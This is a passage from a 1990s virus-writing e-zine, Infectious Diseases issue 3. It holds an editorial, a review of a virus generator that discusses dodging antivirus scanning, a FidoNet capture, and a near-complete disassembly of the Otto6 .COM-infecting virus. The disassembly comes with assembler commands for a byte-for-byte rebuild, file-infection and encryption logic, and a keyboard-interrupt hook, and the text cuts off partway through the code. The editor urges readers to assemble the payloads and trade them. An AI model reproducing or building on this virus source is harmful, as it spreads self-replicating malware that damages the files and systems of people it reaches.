3800 lines
147 KiB
Plaintext
3800 lines
147 KiB
Plaintext
![]() |
=================================
|
|||
|
Infectious Diseases, Issue 3,
|
|||
|
Contents:
|
|||
|
=================================
|
|||
|
|
|||
|
Produced by Virulent Graffiti Virus Production Organization
|
|||
|
Edited By The Attitude Adjuster
|
|||
|
|
|||
|
As one irate father said to his slightly preturbed son...
|
|||
|
|
|||
|
"Give me a reason I should let you use my computer, if all you do is
|
|||
|
write viruses on it!?!"
|
|||
|
|
|||
|
Welcome to my world, dad!
|
|||
|
|
|||
|
Contents ..................................................... I-D003.001
|
|||
|
|
|||
|
Letter of Ranting from The Attitude Adjuster ................. I-D003.002
|
|||
|
|
|||
|
Phalcon/Skism G<> Review ...................................... I-D003.003
|
|||
|
|
|||
|
What I saw the other day on FidoNet .......................... I-D003.004
|
|||
|
|
|||
|
Disassembly of (HA) YAM's Otto 6 ............................. I-D003.005
|
|||
|
|
|||
|
Fred Cohen on Virus Based Products ........................... I-D003.006
|
|||
|
|
|||
|
Disassembly of 10 Past 3 ..................................... I-D003.007
|
|||
|
|
|||
|
Soupy Virus Source ........................................... I-D003.008
|
|||
|
|
|||
|
Rapidly Approaching .......................................... I-D003.009
|
|||
|
|
|||
|
The Confusion Ended? ......................................... I-D003.010
|
|||
|
|
|||
|
'Shit... What's wrong NOW?!?' ................................ I-D003.011
|
|||
|
|
|||
|
Disassembly of (we promise this is the last for now) the
|
|||
|
Fellowship Virus ............................................. I-D003.012
|
|||
|
|
|||
|
DWI Source ................................................... I-D003.013
|
|||
|
|
|||
|
VGVPO Propaganda ............................................. VGVPO.ANS
|
|||
|
The Adventures Guild Ad ...... TAG.ANS
|
|||
|
Unphamiliar Territory Ad ..... UPT.TXT
|
|||
|
Way Cool Lost Horizons Intro . HORIZONS.EXE
|
|||
|
|
|||
|
are those over the counter virus remedies doing nothing for you?
|
|||
|
|
|||
|
do you feel as if maybe youre a little bit fucked in the head for buying
|
|||
|
that computer in the first place?
|
|||
|
|
|||
|
maybe its the annoying snide comments on the screen,
|
|||
|
|
|||
|
or the fact that windows doesnt seem to work anymore,
|
|||
|
|
|||
|
the secondhand software kills the drive blues...
|
|||
|
|
|||
|
whatever it is,
|
|||
|
|
|||
|
you have realized that we are winning,
|
|||
|
|
|||
|
and you are loosing...
|
|||
|
|
|||
|
badly
|
|||
|
|
|||
|
|
|||
|
Greetings: Invalid Media, DecimatoR, GHeap, Dark Angel, Pyster,
|
|||
|
Unfriendly Giant, HitMan, Mirage, Shades, all virus writers
|
|||
|
everywhere, my Mom (my modem ate her!), ICTOA, Paul, Josh,
|
|||
|
and anybody else I forgot... oh, yeah, and you too...
|
|||
|
============================================
|
|||
|
Personal Rant from The Attitude Adjuster
|
|||
|
By... err, The Attitude Adjuster
|
|||
|
============================================
|
|||
|
|
|||
|
Err... yo!
|
|||
|
|
|||
|
Welcome again to Infectious Diseases, and we hope you enjoy this
|
|||
|
as much as you've enjoyed our past productions (right... sure...).
|
|||
|
|
|||
|
It has been a both discouraging and illuminating time since last
|
|||
|
issue's release. I have raved on FidoNet more and more (those of you who
|
|||
|
know me by name can see my great revelations... I have to keep myself under
|
|||
|
control when I use my real name, hopefully I can get one of those Jon
|
|||
|
Johnson type accounts to really allow me to express myself...), and was the
|
|||
|
one who instigated the 'YAM really did write it' lie... I guess I've kind
|
|||
|
of toned down on my YAM bashing, and even edited out most of the bad
|
|||
|
comments about them in my dissassembly of their virus in this issue...
|
|||
|
|
|||
|
I was rather pissed/saddened at the busting of ARCV, which Phalcon/
|
|||
|
SKISM has covered with commendable speed and accuracy, thanks guys!
|
|||
|
|
|||
|
Now, I must say both 'Thank You,' and 'Fuck You,' to all Virulent
|
|||
|
Graffiti members, who have both tried and not tried to get articles in for
|
|||
|
ID. I, being the asshole-take charge type guy I am edited and put this
|
|||
|
issue together in about 4 days, and will probably release it without the
|
|||
|
knowledge of the group... I am quite happy with it, mainly because it
|
|||
|
contains my disassemblies, and little else... If you don't love yourself,
|
|||
|
who do you love? Also, I am trying something new... I know that I love to
|
|||
|
view the activation routines out of viruses, but, ripping the code out is
|
|||
|
an undue pain in the ass, and, I'd rather not run just any virus on my
|
|||
|
system... I have ripped the 'bomb' routines from Otto6, Soupy, and Fellow-
|
|||
|
ship, and left them as seperate code under the disassemblies... Go ahead
|
|||
|
and assemble 'em, show 'em off... trade with friends... ah... I need a
|
|||
|
life..
|
|||
|
|
|||
|
You'll note that this has a 40Hexish/Social Delinquency look to it.
|
|||
|
Well, both of those publications are quite successful, so I figured that I
|
|||
|
should use a conglomeration to see what I could come up with... For those
|
|||
|
of you that (in the past) call us a P/S copy group, we will again tell you
|
|||
|
to go fuck yourselves... True, we both are doing a YAM disassembly, and
|
|||
|
true, I am stealing a little of the format, but, the first is a pure
|
|||
|
coincedence, and the seconds is professional opinion over ownership... Also
|
|||
|
note that we are never planning to release an MPC hack, in Pascal or other-
|
|||
|
wise!
|
|||
|
========================
|
|||
|
Review of the P/S G<>
|
|||
|
By The Attitude Adjuster
|
|||
|
========================
|
|||
|
|
|||
|
NOTE: The word 'idiot' is used throughout this document to refer to
|
|||
|
people who would actually assemble MPC or G<> code and use it as an
|
|||
|
original virus. Do not confuse this term with the 'idiot' which refers
|
|||
|
to users of the 'Bad Influence' BBS (who would probably fit into the
|
|||
|
other category as well!)
|
|||
|
|
|||
|
"G<>, Phalcon/Skism's newest virus creation tool, is designed to allow
|
|||
|
everyone easy access to computer virus source code. More than a simple
|
|||
|
Vienna hack generator, it creates viruses "on-the-fly" as per the user
|
|||
|
specifications. G<> is designed to be easily maintainable and extensible
|
|||
|
through the use of special data files created especially for use by the
|
|||
|
program."
|
|||
|
-=P/S=- G<> Documentation
|
|||
|
|
|||
|
I downloaded it eagerly, with the same anticipation I feel with
|
|||
|
every P/S creation... I exited back to the famed 'C Prompt,' and began
|
|||
|
unzipping the new find... but wait... I expected a revised PS-MPC... and I
|
|||
|
was (happily) mistaken...
|
|||
|
|
|||
|
Dark Angel has created another classic (though sure to get listed
|
|||
|
under PS-MPC in VSUM, 'cuz hey, she doesn't even know her own name, let
|
|||
|
alone what to name anyone's virus... [she fucked me over too, guys!]),
|
|||
|
even more effective than the PS-MPC (or prunes...), and even more elegant
|
|||
|
than the most IDE-Filled, Icon Based piece of Dynamic Link Library trash.
|
|||
|
|
|||
|
'On- the-fly' virus generation has come a long way from the VCS and
|
|||
|
VCL days. The code is excellent, and even improved over MPC coding. I am
|
|||
|
amazed and thrilled by the size of the code, as it is most compact, a great
|
|||
|
learning tool for code optimization.
|
|||
|
|
|||
|
The new 'debug resistance' is also a feature to be commended. Using
|
|||
|
the Intel's 'one-byte-interrupt,' and the fact that this interrupt is used
|
|||
|
as a breakpoint in debuggers makes for havok in most debuggers. Still, a
|
|||
|
hardened programmer can slide by it, but, the 'one-byte-interrupt' factor
|
|||
|
makes that a bitch, as the interrupt is, as I said, only one byte, instead
|
|||
|
of the average 'CD XX' type configuration...
|
|||
|
|
|||
|
|
|||
|
As with any virus generator, there are cons to be discussed.
|
|||
|
|
|||
|
DecimatoR makes this point quite clear in 40Hex-9... allow me to
|
|||
|
quote him...
|
|||
|
|
|||
|
"The authors of MPC and VCL are very talented programmers. Unfortunately,
|
|||
|
the users of their programs are just the opposite. REAL virus programmers
|
|||
|
have a desire to LEARN assembler - it's a test of their skill and ability.
|
|||
|
The users of MPC and VCL don't have that desire. They only have a desire
|
|||
|
for recognition - and seeing their name in a virus is a massive ego trip
|
|||
|
for them. Why? They did nothing that any Joe Blow couldn't have done
|
|||
|
using a code generator. If they REALLY want to prove how cool they are,
|
|||
|
let THEM write a damn virus generation program and release it. THAT ALONE
|
|||
|
will show the world their skill and ability. As for USING the program,
|
|||
|
well, I'm more impressed with a nicely formatted term paper using
|
|||
|
WordPerfect than I am with viruses created using MPC and VCL. If you're
|
|||
|
one of the lame idiots who uses MPC or VCL for "writing" viruses, then
|
|||
|
listen up - those programs were written for 2 reasons - to prove the
|
|||
|
programmer could write such a thing, and to be used as a LEARNING TOOL for
|
|||
|
future virus writers - NOT to be abused the way they currently are."
|
|||
|
|
|||
|
Exactly the point I want to make, barring that he is not as violent
|
|||
|
as I am... but I will stifle the CAPS LOCK here...
|
|||
|
|
|||
|
There WILL always be the idiots out there that refuse to learn,
|
|||
|
merely to 'Wr1tE GnU \/1/>uZeZ (0/> \/I/>11)!!!1!11' Alas, they will NEVER
|
|||
|
learn, and, though we may try, points like ours offer little help.
|
|||
|
|
|||
|
That's why my personal opinion of code generators is quite low. Yes,
|
|||
|
it is a VERY impressive work, and, I commend DA for his, as I do Nowhere
|
|||
|
Man for his VCL, but, I am still not a supporter of code generators.
|
|||
|
|
|||
|
It's the stigma I have with 'learning,' something that dates back to
|
|||
|
when I was H/P avid (yeah, I' m a hacker turned programmer... yuk!). There
|
|||
|
was a hush about users, you kept your mouth shut, learned what you saw,
|
|||
|
read the t-files, and did slave work, like scanning, or simple hacking, and
|
|||
|
you picked it up.
|
|||
|
|
|||
|
The code generator idea is fine with me, but, it's release to the
|
|||
|
general public hits the nerve in me that many H/P people balked about when
|
|||
|
SYS-75 information is released into the public... there seems to be too
|
|||
|
much power in the hands of blithering idiots.
|
|||
|
|
|||
|
A beautiful virus, masterfully coded and programmed, with actual
|
|||
|
work by a good-intentioned programmer is fine with me, but, like being
|
|||
|
harassed by a company that has had it's INWATS fucked over, having my HD
|
|||
|
smashed by a virus coded entirely in MPC, VLC, or G<> with a stupid FAT
|
|||
|
fucker added in will really ruin my day. (On this note, this would never
|
|||
|
happen... only the most heavily armored stealth will get thru my anti-
|
|||
|
virus software, which I wrote myself)
|
|||
|
|
|||
|
Idiots will use the generator, whether you try to stop them or not.
|
|||
|
The 'password' on VCL (which was shittily concealed anyway... I mean, the
|
|||
|
average joe could tell the ZIP password was ARoseIsARose) did nothing, and
|
|||
|
as a result, there are malicious VCL viruses out there.
|
|||
|
|
|||
|
This is why a listed future improvements bother me... let me quote
|
|||
|
it directly...
|
|||
|
|
|||
|
"o Supports multiple, semi-polymorphic encryption routines (full
|
|||
|
polymorphism coming soon)."
|
|||
|
|
|||
|
Yep... that's what it says, ' full polymorphism.' I have no doubt
|
|||
|
that DA can do it. I have dissassembled (partially to source level) the MtE
|
|||
|
and fucked with the new (and seemingly fucked up first version of) TPE and
|
|||
|
have seen that it is not as hard as plugged to be, merely a task that must
|
|||
|
be planned and charted from the start, as it is, in itself, a huge task.
|
|||
|
Full polymorphism is something we would all benifit from, but, not to be
|
|||
|
given in source form to idiots. I'd belive that text files on this subject,
|
|||
|
or something of that like would be more appropriate... but, hey...
|
|||
|
|
|||
|
On the note of DA's semi-polymorphic routines, they are, indeed,
|
|||
|
semi-polymorphic. In the future, he might try something like instruction
|
|||
|
flipping or selective BS addition, as an alternative to full polymorphism.
|
|||
|
I also fucked up in my original analysis, and I apologize. Assuming that DA
|
|||
|
uses all 4 indexable registers (SI,DI,BP,BX) for indirect addressing, and
|
|||
|
all other unused registers for counting purposes, coupled with INC/INC,
|
|||
|
ADD, and SUB incrementing, and add and xor encryption (I assembled a total
|
|||
|
of 100 different CFG files, and only found xor and add encryption) I'd have
|
|||
|
to guess at 144 generic wildcard strings to suffice. This is, of course,
|
|||
|
too many. Now, assuming that we apply code frame tactics, we get the
|
|||
|
following:
|
|||
|
|
|||
|
MOV (UNKNOWN REGISTER), WORD (COULD BE THE INDEXABLE, MAYBE NOT)
|
|||
|
MOV (UNKNOWN REGISTER), WORD (DITTO)
|
|||
|
CRYPTLOOP:
|
|||
|
002Eh (ONLY IN EXE INFECTORS, CODESEG OVERRIDE)
|
|||
|
BYTE (CORRESPONDS TO REGISTER USED FOR OPERATION (INDEXABLE))
|
|||
|
BYTE (EITHER 7 OR 37)
|
|||
|
WORD (XOR OR ADD VALUE)
|
|||
|
|
|||
|
EITHER INC/INC, SUB (INDEX REGISTER), -02
|
|||
|
OR ADD (INDEX REGISTER), 2
|
|||
|
|
|||
|
LOOP LOOPCRYPTLOOP (ONLY IF BYTE COUNTER IS CX)
|
|||
|
(OTHERWISE)
|
|||
|
|
|||
|
EITHER DEC/DEC, SUB (BYTE COUNT), 2
|
|||
|
OR ADD (BYTE COUNT), -2
|
|||
|
|
|||
|
OR (BYTE COUNT),(BYTE COUNT)
|
|||
|
JNZ CRYPTLOOP
|
|||
|
|
|||
|
Alogrythmically, this is a piece of cake, which is great, 'cuz the
|
|||
|
more alogrythmic scans that must be added to a scanner, the greater it's
|
|||
|
size and slowness grow... score one more for the virus writers.
|
|||
|
|
|||
|
Indeed, with the addition of G<> into the world, this is one more
|
|||
|
big score for the virus writers... thaks DA!
|
|||
|
|
|||
|
=========================
|
|||
|
What I saw on FidoNet
|
|||
|
Capture By The Attitude Adjuster
|
|||
|
=========================
|
|||
|
|
|||
|
Here's something I pulled offa FidoNet Virus... kinda discourages me
|
|||
|
in some ways I'll explain below.
|
|||
|
|
|||
|
===========================================================================
|
|||
|
From : GREG GREELY Number : 858 of 987
|
|||
|
To : ALL Date : 12/16/92 12:42pm
|
|||
|
Subject : True story Reference : NONE
|
|||
|
Read : [N/A] (REPLIES) Private : NO
|
|||
|
Conf : 168 - Virus................(FN)
|
|||
|
|
|||
|
Hey, I have a true story for you all.
|
|||
|
|
|||
|
I got a call from a doctor' s office. Their computers were acting strange
|
|||
|
and locking up so I went over there and took a look at the system. Nothing
|
|||
|
was out of place until I scanned it. Turns out, the guy has a Stoned virus
|
|||
|
that's gone critical and he didn't even know it. He had scan but didn't
|
|||
|
know how to run it. Since the system was already critical, I needed a clean
|
|||
|
system disk to run CLEAN. It turns out the system disk(the original) was
|
|||
|
infected too. The other 2 copies of the system disk, Dbase 3++,
|
|||
|
Wordperfect, Windows 3.1, all of them. Every single application and every
|
|||
|
single disk he had were infected. I didn't have a system disk with me so I
|
|||
|
had to charge him double for going home and getting one. Some people are
|
|||
|
sooooooooo ignorant. What a moron.
|
|||
|
|
|||
|
--- Renegade v12-04 Beta
|
|||
|
* Origin: DragonsLaire BBS - 718-596-5938 (1:278/613)
|
|||
|
===========================================================================
|
|||
|
|
|||
|
Okay, Mr. Greely... what a moron, eh?
|
|||
|
|
|||
|
Is this the message Anti-Virus wants to give to the public? Be
|
|||
|
smart or else... I hardly think so...
|
|||
|
|
|||
|
Anyway, as for this message, I feel so stupid now, 'cuz I don't
|
|||
|
have a system disk laying here, and you' d probably have to charge me
|
|||
|
double! I think that I should probably be shot because I am so anti-
|
|||
|
virus ignorant.
|
|||
|
|
|||
|
Wake up, you idiot! The man didn't know... so, you ridicule him,
|
|||
|
not a brilliant strategy. The man needed to be informed, not chastized
|
|||
|
behind his back...
|
|||
|
|
|||
|
I'm not sure, is this the attitude of most "Anti-Virus
|
|||
|
Professionals?" I'd like to know... if you consider yourself one, write
|
|||
|
us on one of our boards...
|
|||
|
===========================
|
|||
|
Disassembly of Otto 6
|
|||
|
By The Attitude Adjuster
|
|||
|
===========================
|
|||
|
|
|||
|
Well... I can't help it, I wanted to brush up on my disassmembly
|
|||
|
skills, as future projects may call upon them... so, I find the cheapest,
|
|||
|
easiest looking virus I can find to tear to tiny little pieces.
|
|||
|
|
|||
|
YAM's Evolution magazine showed up on Unphamiliar Territory, and
|
|||
|
after thoroughly laughing at it, I decided that I'd disassemble one of the
|
|||
|
'virii' in it, just because they looked easy.
|
|||
|
|
|||
|
The code was cheesecake, but, some of it was a tad confusing, and
|
|||
|
I have developed the following: "Stupid people do stupid things in stupid
|
|||
|
ways!" I realize that this is a slightly old YAM virus, and does not do
|
|||
|
justice to the level of some of their work, but, let's face it, some of
|
|||
|
this is damn funny!
|
|||
|
|
|||
|
This code is a byte-for-byte matchup with Otto6, and I even followed
|
|||
|
the alternate encoding used by YAM's assembler... (apparently theirs loves
|
|||
|
to assemble using opcode r/m+mod reg, rather than the more conventional
|
|||
|
opcode reg r/m+mod!)
|
|||
|
|
|||
|
Anyway, here's what Patti has to say about it...
|
|||
|
|
|||
|
===========================================================================
|
|||
|
Virus Name: Otto6
|
|||
|
Aliases:
|
|||
|
V Status: Rare
|
|||
|
Discovered: September, 1992
|
|||
|
Symptoms: .COM file growth; decrease in total system & available free
|
|||
|
memory; host program encrypted
|
|||
|
Origin: United States
|
|||
|
Eff Length: 640 Bytes
|
|||
|
Type Code: PNCK - Parasitic Non-Resident .COM Infector
|
|||
|
Detection Method: F-Prot, ViruScan, Sweep, AVTK 6.00+, UTScan 25.10+,
|
|||
|
NShld V99+, Sweep/N
|
|||
|
Removal Instructions: Delete infected files
|
|||
|
|
|||
|
General Comments:
|
|||
|
The Otto6 virus was received in September, 1992. It is from the
|
|||
|
United States. Otto6 is a non-resident, direct action infector
|
|||
|
of .COM programs, including COMMAND.COM. It does install a small
|
|||
|
portion of its code in memory, though it is not a complete copy
|
|||
|
of the virus, and the virus is not infective from memory.
|
|||
|
|
|||
|
When the first Otto6 infected program is executed, the Otto6 virus
|
|||
|
will install a small portion of its viral code at the top of system
|
|||
|
memory but below the 640K DOS boundary. Total system and available
|
|||
|
free memory, as indicated by the DOS CHKDSK program, will have
|
|||
|
decreased by 2,048 bytes. Interrupt 9 will be hooked by the portion
|
|||
|
of Otto6 resident in memory, providing it was not previously hooked
|
|||
|
by some other program. Also at this time, the Otto6 virus will
|
|||
|
infect one .COM program located in the current directory.
|
|||
|
|
|||
|
Each time a program infected with the Otto6 virus is executed, the
|
|||
|
Otto6 virus will infect one previously uninfected .COM program
|
|||
|
located in the current directory. Infected programs will have a
|
|||
|
file length increase of 640 bytes with the virus being located at
|
|||
|
the end of the file. The program's date and time in the DOS disk
|
|||
|
directory listing will not be altered. The following text strings
|
|||
|
are encrypted within the viral code:
|
|||
|
|
|||
|
"OTTO6 VIRUS, <<<3C>S>>, YAM,
|
|||
|
COPYRIGHT MICROSHAFT INDUSTRIES 1992"
|
|||
|
"<<<3C>S>> YAM, MICROSHAFT INDUSTRIES (tm.) 1992!"
|
|||
|
"*.COM"
|
|||
|
|
|||
|
The Otto6 virus is an encrypted virus. It not only encrypts the
|
|||
|
viral code, but the host program as well.
|
|||
|
|
|||
|
It is unknown what Otto6 does besides replicate.
|
|||
|
===========================================================================
|
|||
|
|
|||
|
Oh, yeah, and I can tell you what it does besides replicate... it
|
|||
|
displays it' s second copyright message when you press Ctrl-Alt-Del... big
|
|||
|
shit, eh? Shit, I'm surprised that description doesn't read COM and EXE
|
|||
|
growth... you can never be certainly with those wily little viruses!
|
|||
|
|
|||
|
===========================================================================
|
|||
|
; Otto #6 Virus, By Youth Against McAfee
|
|||
|
; Disassembly By The Attitude Adjuster of Virulent Graffiti for
|
|||
|
; Infectious Diseases 3 and some other uses...
|
|||
|
|
|||
|
; Assemble with: TASM /m2 otto5.asm for a byte for byte matchup
|
|||
|
; TLINK /t otto5.obj
|
|||
|
|
|||
|
; The assembled code will NOT execute... a big thanks to YAM for that one! The
|
|||
|
; only workaround I got is to trace thru til the mov [00FFh], al, and just
|
|||
|
; move the ip ahead to startencrypt!
|
|||
|
|
|||
|
.model tiny
|
|||
|
.code
|
|||
|
org 100h
|
|||
|
start:
|
|||
|
db 0e9h, 02, 00 ; jmp near virusentry
|
|||
|
|
|||
|
nop ; they had to be here
|
|||
|
nop ; in the original
|
|||
|
|
|||
|
virusentry:
|
|||
|
call getdelta ; get delta ofs
|
|||
|
getdelta:
|
|||
|
pop si
|
|||
|
push si
|
|||
|
|
|||
|
sub si,offset getdelta ; sub original ofs
|
|||
|
|
|||
|
pop ax ; delta in ax
|
|||
|
sub ax,100h
|
|||
|
|
|||
|
mov ds:[00FFh],al ; ds:00FFh == al
|
|||
|
push si ; save delta
|
|||
|
|
|||
|
mov cx,260h ; ieterations
|
|||
|
add si,offset startencrypt
|
|||
|
cryptloop:
|
|||
|
xor [si],al ; xor
|
|||
|
inc si
|
|||
|
rol al,1 ; rotate
|
|||
|
loop cryptloop ; loop if cx > 0
|
|||
|
pop si ; delta in si
|
|||
|
|
|||
|
startencrypt:
|
|||
|
mov ax,word ptr ds:[first3+si] ; restore first
|
|||
|
mov dh,byte ptr ds:[first3+si+2] ; 3 bytes
|
|||
|
mov word ptr ds:[100h],ax
|
|||
|
mov byte ptr ds:[102h],dh
|
|||
|
|
|||
|
lea dx,[si+file] ; find *.COM
|
|||
|
xor cx,cx
|
|||
|
mov ah,4Eh
|
|||
|
findfirstnext:
|
|||
|
int 21h
|
|||
|
|
|||
|
jnc checkinfected ; carry?
|
|||
|
jmp takeithome ; no more files
|
|||
|
|
|||
|
checkinfected: ; check file
|
|||
|
mov dx,offset 9Eh ; filename in default
|
|||
|
mov ax,3D02h ; dta
|
|||
|
int 21h ; open file r/w
|
|||
|
|
|||
|
mov bx,ax ; handle in BX
|
|||
|
|
|||
|
mov ax,5700h ; get file date
|
|||
|
int 21h
|
|||
|
|
|||
|
cmp cl,3 ; cl = 3?
|
|||
|
jne infectitthen ; nope
|
|||
|
|
|||
|
mov ah,3Eh ; infected, close
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ah,4Fh ; find next *.COM
|
|||
|
jmp short findfirstnext ; again
|
|||
|
|
|||
|
infectitthen: ; infect the file
|
|||
|
push cx ; push time
|
|||
|
push dx ; push date
|
|||
|
call lseekstart ; lseek beginning
|
|||
|
|
|||
|
lea dx,[si+first3] ; buffer at first3
|
|||
|
mov cx,3 ; read 3 bytes
|
|||
|
mov ah,3Fh
|
|||
|
int 21h
|
|||
|
|
|||
|
xor cx,cx ; lseek the end
|
|||
|
xor dx,dx ; fileside DX:AX
|
|||
|
mov ax,4202h
|
|||
|
int 21h
|
|||
|
; 4D1h
|
|||
|
mov word ptr ds:[fsize+si],ax ; save fsize
|
|||
|
sub ax,3 ; calculate jump
|
|||
|
mov word ptr ds:[fsize2+si],ax
|
|||
|
call lseekstart
|
|||
|
add ax,6 ; fsize+3
|
|||
|
|
|||
|
mov byte ptr ds:[lob+si],al ; lob of fsize+3
|
|||
|
mov cx,word ptr ds:[fsize+si] ; size of file
|
|||
|
lea dx,[si+heap] ; point at buffer
|
|||
|
mov ah,3Fh
|
|||
|
int 21h ; read
|
|||
|
|
|||
|
push si ; push delta
|
|||
|
mov al,byte ptr ds:[lob+si] ; lod of fsize+3
|
|||
|
add si,offset ds:[heap+3] ; point at code
|
|||
|
call encrypt ; encrypt original
|
|||
|
pop si ; pop delta
|
|||
|
call lseekstart ; lseek beginning
|
|||
|
|
|||
|
mov cx,word ptr ds:[fsize+si] ; fsize
|
|||
|
lea dx,[si+heap] ; buffer at heap
|
|||
|
mov ah,40h ; write file
|
|||
|
int 21h
|
|||
|
|
|||
|
jnc finishinfect ; error (attributes)
|
|||
|
jmp short takeithome ; yes
|
|||
|
finishinfect:
|
|||
|
lea dx,[si+virusentry] ; write encrypter
|
|||
|
mov cx,startencrypt-virusentry ; to file
|
|||
|
mov ah,40h
|
|||
|
int 21h
|
|||
|
|
|||
|
push si ; push delta
|
|||
|
mov cx,heap-startencrypt ; virus length-crypt
|
|||
|
; mov di,si ; delta in di
|
|||
|
db 89h, 0F7h ; alternate encoding
|
|||
|
add di,offset ds:[heap] ; point at heap
|
|||
|
add si,offset ds:[startencrypt] ; point at virus
|
|||
|
rep movsb ; copy code to heap
|
|||
|
pop si ; pop delta
|
|||
|
|
|||
|
push si ; push delta
|
|||
|
mov al,byte ptr ds:[lob+si] ; lob of fsize+3
|
|||
|
mov cx,heap-startencrypt ; virus length
|
|||
|
add si,offset ds:[heap] ; buffer at heap
|
|||
|
call encrypt ; encrypt heap
|
|||
|
pop si ; pop delta
|
|||
|
|
|||
|
mov cx,heap-startencrypt ; virus length
|
|||
|
lea dx,[si+heap] ; buffer at heap
|
|||
|
mov ah,40h ; write virus
|
|||
|
int 21h
|
|||
|
jc takeithome ; error?
|
|||
|
|
|||
|
call lseekstart
|
|||
|
|
|||
|
lea dx,[si+jump] ; buffer at jump
|
|||
|
mov ah,40h ; write jump
|
|||
|
mov cx,3
|
|||
|
int 21h
|
|||
|
jc takeithome ; error?
|
|||
|
|
|||
|
pop dx ; pop date
|
|||
|
pop cx ; pop time
|
|||
|
mov cl,3 ; set infected flag
|
|||
|
mov ax,5701h ; set time
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ah,3Eh ; close file
|
|||
|
int 21h
|
|||
|
|
|||
|
takeithome:
|
|||
|
push si ; push delta
|
|||
|
mov al, byte ptr ds:[00FFh] ; saved xor byte
|
|||
|
xor cx,cx
|
|||
|
; add cx,si ; the pricks use
|
|||
|
db 01, 0f1h ; alternate encoding
|
|||
|
add cx,3 ; ieterations in cx
|
|||
|
mov bp,103h
|
|||
|
mov si,bp ; unencrypt old code
|
|||
|
call encrypt
|
|||
|
pop si ; pop delta
|
|||
|
|
|||
|
mov bp,100h ; where to RET to
|
|||
|
|
|||
|
mov ax,0B0Bh ; RuThereCall
|
|||
|
int 9
|
|||
|
|
|||
|
cmp ax,0BEEFh ; if beefy, it's
|
|||
|
je skipinstall ; installed
|
|||
|
|
|||
|
xor ax, ax
|
|||
|
mov ds, ax ; interrupt table
|
|||
|
lds bx, dword ptr ds:[9*4] ; Int 9 -> DS:BX
|
|||
|
|
|||
|
push bp ; push ret addr
|
|||
|
mov bp,offset ds:[old9] ; JMP FAR PTR
|
|||
|
mov cs:[bp+si+1],bx ; offset
|
|||
|
mov cs:[bp+si+3],ds ; segment
|
|||
|
pop bp ; pop ret addr
|
|||
|
|
|||
|
mov bx,es
|
|||
|
dec bx ; our MCB paragraph
|
|||
|
mov ds,bx
|
|||
|
sub word ptr ds:[0003],80h ; allow for us to get
|
|||
|
; some memory
|
|||
|
mov ax, word ptr ds:[0012h] ; 1st unused segment
|
|||
|
sub ax,80h
|
|||
|
mov word ptr ds:[0012h],ax ; replace valu
|
|||
|
|
|||
|
mov es,ax ; es = our new seg
|
|||
|
push cs ; ds = cs
|
|||
|
pop ds
|
|||
|
xor di,di ; es:0000 = dest.
|
|||
|
; mov bx,si ; more alternate
|
|||
|
db 89h, 0f3h ; encoding!!
|
|||
|
lea si,[bx+our9] ; buffer at our9
|
|||
|
mov cx,200 ; more than enough
|
|||
|
rep movsb ; copy 200 bytes
|
|||
|
|
|||
|
mov ds,cx ; cx = 0000
|
|||
|
mov word ptr ds:[9*4],0 ; offset (int 9)
|
|||
|
mov word ptr ds:[9*4+2],es ; segment (int 9)
|
|||
|
skipinstall:
|
|||
|
push cs ; restore segments
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
push bp ; return to 100h
|
|||
|
ret
|
|||
|
|
|||
|
encrypt: ; encrypt
|
|||
|
xor [si],al ; xor
|
|||
|
inc si
|
|||
|
rol al,1 ; rotate left
|
|||
|
loop encrypt ; Loop if cx > 0
|
|||
|
ret
|
|||
|
|
|||
|
db 'OTTO6 VIRUS, <<',0E9h,53h,'>>, YAM, '
|
|||
|
db 'COPYRIGHT MICROSHAFT INDUSTRIES 1992 (tm.)'
|
|||
|
|
|||
|
lseekstart:
|
|||
|
push ax
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
mov ax, 4200h ; lseek beginning
|
|||
|
xor cx,cx
|
|||
|
xor dx,dx
|
|||
|
int 21h
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
|
|||
|
our9: ; our int9 handler
|
|||
|
cmp ax, 0B0Bh
|
|||
|
jnz NotRuThere ; not an ruthere
|
|||
|
mov ax, 0BEEFh
|
|||
|
IRet ; int return
|
|||
|
NotRuThere:
|
|||
|
push ax ; save registers
|
|||
|
push bx
|
|||
|
push ds
|
|||
|
|
|||
|
xor ax,ax ; BIOS segment
|
|||
|
mov ds,ax
|
|||
|
in al,60h ; get keyboard input
|
|||
|
mov bl, byte ptr ds:[0417h] ; get shift status
|
|||
|
test bl,08 ; alt pressed?
|
|||
|
jz removeregistersandleave ; no
|
|||
|
test bl,04 ; ctrl pressed?
|
|||
|
jz whyisthishere ; no
|
|||
|
cmp al, 53h ; delete?
|
|||
|
jnz removeregistersandleave ; nope!
|
|||
|
and bl,0F3h ; mask off bits
|
|||
|
mov byte ptr ds:[0417h],bl ; place in bios
|
|||
|
jmp onwardbuttheads ; go on
|
|||
|
|
|||
|
whyisthishere:
|
|||
|
cmp al,4Ah ; why is this here?
|
|||
|
jne removeregistersandleave
|
|||
|
removeregistersandleave:
|
|||
|
pop ds ; remove registers
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
; jmp returntoold9 ; more wierd
|
|||
|
db 0e9h, 20h, 00 ; encoding!
|
|||
|
|
|||
|
onwardbuttheads:
|
|||
|
push cs ; ds = cs
|
|||
|
pop ds
|
|||
|
|
|||
|
mov ax,3 ; 80x25 text mode
|
|||
|
int 10h
|
|||
|
|
|||
|
mov ah,2 ; set cpos
|
|||
|
mov bh,0
|
|||
|
mov dx,0A14h ; 10,20
|
|||
|
int 10h
|
|||
|
|
|||
|
mov si,yamlogo-our9 ; point to logo
|
|||
|
pointlessloop:
|
|||
|
loop pointlessloop
|
|||
|
|
|||
|
lodsb ; load string byte
|
|||
|
|
|||
|
cmp al,0 ; end of string?
|
|||
|
je coldbootus ; yes
|
|||
|
|
|||
|
mov ah,0Eh ; display char in al
|
|||
|
int 10h
|
|||
|
|
|||
|
jmp short pointlessloop
|
|||
|
|
|||
|
returntoold9:
|
|||
|
old9 db 0EAh ; JMP FAR PTR
|
|||
|
dd 00000000 ; Int 9h
|
|||
|
|
|||
|
yamlogo db '<<',0E9h,53h,'>>, YAM, MICROSHAFT INDUSTRIES (tm.) 1992!'
|
|||
|
db ' ',0
|
|||
|
|
|||
|
coldbootus:
|
|||
|
mov dx,28h
|
|||
|
mov ds,dx ; DS = 0028h
|
|||
|
